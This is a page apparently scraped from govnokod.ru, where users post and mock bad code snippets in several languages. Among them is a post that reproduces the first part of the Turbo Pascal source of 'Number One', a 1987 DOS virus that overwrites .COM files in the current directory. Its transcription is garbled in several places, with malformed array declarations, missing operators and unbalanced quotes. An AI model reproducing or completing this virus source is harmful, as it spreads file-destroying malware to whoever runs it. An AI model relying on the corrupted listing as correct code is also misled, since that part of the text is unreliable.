- 1
- 2
- 3
//code...
item.setInUse((map.getnStreamActive().equals("1") ? true : false));
//...code
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+74
//code...
item.setInUse((map.getnStreamActive().equals("1") ? true : false));
//...code
Писал тим лид одного из вендоров проекта.
nStreamActive - Integer
−116
DECLARE @SysDatoFull datetime
SET @SysDatoFull = CAST(YEAR(getdate()) as varchar) + RIGHT('00'+CAST(MONTH(getdate()) as varchar), 2) + RIGHT('00'+CAST(DAY(getdate()) as varchar), 2)
SQL, даты... nuff said
Вспомнился http://govnokod.ru/9211. Может есть где-то специальное учебное заведение, где обучают таким техникам?
+156
var renderHours = function(s){
var html = '<ul>';
var json = Ext.decode(s);
for(i in json)
if(typeof json[i].from_d != 'undefined')
html += '<li>с <b>'
+ hours[json[i].from_d][1]
+ '</b> - по <b>'
+ hours[json[i].to_d][1]
+ '</b> ('
+ json[i].from_h +':'+ json[i].from_m +'-'
+json[i].to_h +':'+ json[i].to_m +')</li>';
return html+'</ul>';
};
Вот такое попалось
−32
Fixed& operator +=(Fixed a) { return *this = *this + a; return *this; }
Fixed& operator -=(Fixed a) { return *this = *this - a; return *this; }
Fixed& operator *=(Fixed a) { return *this = *this * a; return *this; }
Fixed& operator /=(Fixed a) { return *this = *this / a; return *this; }
http://wiki.yak.net/675/fixed.h
посоны, зачем так сделано?
+135
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define MAX_STEP 6
static int num;
int seq_gen(int step){
if(step<MAX_STEP){
for(int idx=1;idx<=MAX_STEP;idx++){
for(int i=0;i<=step;i++)printf(" ");
printf("<id%d step=\"%d\">\n",idx,step);
seq_gen(++step);
--step;
printf("</id%d>\n",idx);
};
};
if(step==MAX_STEP){
for(int i=1;i<=MAX_STEP;i++){
for(int si=0;si<=step;si++)printf(" ");
printf("<id%d>%d</id%d>\n",i,num++,i);
}
}
};
int main(){
printf("<root>\n");
seq_gen(1);
printf("</root>");
return 0;
};
Создает xml файл с 6 элементов с 6 вложенными элементами пока уровень вложенности достигнет 6.
+94
{
-----------------------------------------------------------------
Number One
This is a very primitiv computer virus.
HANDLE WITH CARE! ----------- demonstration ONLY!
Number One infect all.COM-file in the CURRENT directory.
A warning message and the infected file's name will be displayed.
That file has been overwritten with Number One's programm
code and is not reconstructable!
If all file s are infected or no .COM-files found, Number
One gives you a .
Files may be protected against infections of Number One by
setting the READ ONLY attribute.
Written 10.3.1987 by M.Vallen (Turbo-Pascal 3.01a)
(c) 1987 by BrainLab
---------------------------------------------------------------------
}
{C-}
{U-}
{I-} { Do not allow an user Break, enable 10 check}
{--Constants----------------------------------------------------}
Const
VirusSize = 12027; { Number One's code size }
Warning : String [42] { Warning massage }
= 'This file has been infected by Number One's;
{--Type declaration----------------------------------------------}
Type
DTARec = Record { Date area for }
DOSnext : Array 1...21 of Byte; { file search }
Attr : Byte;
FTime,
FDate,
FLsize,
FHsize : Integer;
FullName : Array 1...13 of Char;
End;
Registers = Record {Register set useed for file search}
Case Byte of
1: ( AX, BX, CX, DX, BP, SI, DI, DS, ES,Flags: Integer);
2: ( AL, AH, BL, BH, CL, CH, DL, DH : Byte);
End;
{--Variables------------------------------------------------------}
Var
ProgramStart : Byte absolute Cseg: $180; {Memory offset of program code}
{Infection marker}
MarkInfected : String 42 absolute Cseg: $180;
Reg : Register; { Register set}
DTA : DTARec; { Date area}
Buffer :Array [Byte] of Byte; { Date buffer}
TestID : String 42; {To recognize infected files}
UsePath : String 66; { Path to search files}
{Length of search path}
UsePathLength: Byte absolute UsePath;
Go : File; { File to infect}
B : Byte; { Used }
--Program code-------------------------------------------------------
Begin
WriteLn(Warning); {Display Warning massage}
GetDir(0,UsePath); { Get current directory}
if Post ('', UsePath ) <> UsePathLengt then
UsePath:= UsePath + '';
UsePath:= UsePath + '*.COM'; { Define search mask}
Reg.AH := $1A; { Set date area}
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg);
UsePath Succ(UsePathLength):=0; Path must end with =0
Reg.AH := $4e;
Reg.DS := Seg(UsePath);
Reg.DX := Ofs(UsePath 1);
Reg.CX :=$ff; {Set attribut to find ALL files}
MsDos(Reg); { Find the first matching entry}
If not Odd(Reg.Flags) Then { If a file found then...}
Repeat
UsePath:=DTA.FullName;
B := Pos(#0,UsePath);
If B> 0 Then
Delete (UsePath,B,255); { Remove garbage}
Assign(Go, UsePath);
Reset(GO);
If IOresult=0 {If not error then}
Begin
BlockRead(Go,Buffer,2);
Move(Buffer $80,TestID, 43);
{Test if file is already infected}
If TestID<> Warning then { If not, then}
Begin
Seek(Go,0);
{Mark file as infected and...}
MarkInfected:= Warning;
http://www.liveinternet.ru/users/gafarov-91/post120984751/
Первая часть.
+74
<?php
$fgt1 = file_get_contents('database/get_index.bd');
$fgt2 = file_get_contents('database/get_admin_index.bd');
mkdir('../../../news', 0755);
chmod('../../../news', 0755);
mkdir('../../../news/admin', 0755);
chmod('../../../news/admin', 0755);
$f1 = fopen('../../../news/index.php', 'w+');
fwrite($f1, $fgt1);
fclose($f1);
$f2 = fopen('../../../news/admin/index.php', 'w+');
fwrite($f2, $fgt2);
fclose($f2);
$f3 = fopen('../../../news/news.txt', 'w+');
fwrite($f3, '');
fclose($f3);
if(is_dir('../../../news')) {
if(is_dir('../../../news/admin')) {
if(file_exists('../../../news/index.php')) {
if(file_exists('../../../news/news.txt')) {
if(file_exists('../../../news/admin/index.php')) {
echo '<br>Модуль новости удачно создан.<br>';
echo '<head><META HTTP-EQUIV="REFRESH" CONTENT="3; URL=../../modules.php?management=news"></head>';
}else{ $x1="none"; }
}else{ $x2="none"; }
}else{ $x3="none"; }
}else{ $x4="none"; }
}else{ $x5="none"; }
if($x1 == "none" || $x2 == "none" || $x3 == "none" || $x4 == "none" || $x5 == "none") {
echo '<br>Ошибка при создании модуля новостей. Удалите модуль и установите еще раз.<br>';
}
Мои глаза!!!
Последняя новость на главной странице с ресурса с этой CMS :
"Привет. Если уж ты сюда зашел, то задумайся, не просто же так?? Может чем помочь хочешь?? Или зашел просто так? Если просто так, то тебе не чего здесь делать!
Читайте далее... "
Примечательно, но "Читайте далее" не является гиперссылкой.
пруф : http://city.budennovsk.ru/?module=index
+89
<?php
/* Посоветовали делать так, чтобы решить проблемы с выводом на страницу чисел. Всё зависло */
$x=0;
echo "Пожалуйста, подождите 1 минуту. Сейчас напечатаем";
while ($x++) echo $x."_";
?>
Хм... Что-то тут не так.
−23
bool strictlyLess(std::vector<int> v1, std::vector<int>v2) { // v1 < v2
bool strictly = false;
for(int i = 0; i < v1.size(); i++) {
if(v1[i] > v2[i]) {
return false;
}
if(v1[i] < v2[i]) {
strictly = true;
}
}
return strictly;
}
+117
http://www.haskell.org/hoogle/?hoogle=%60
:P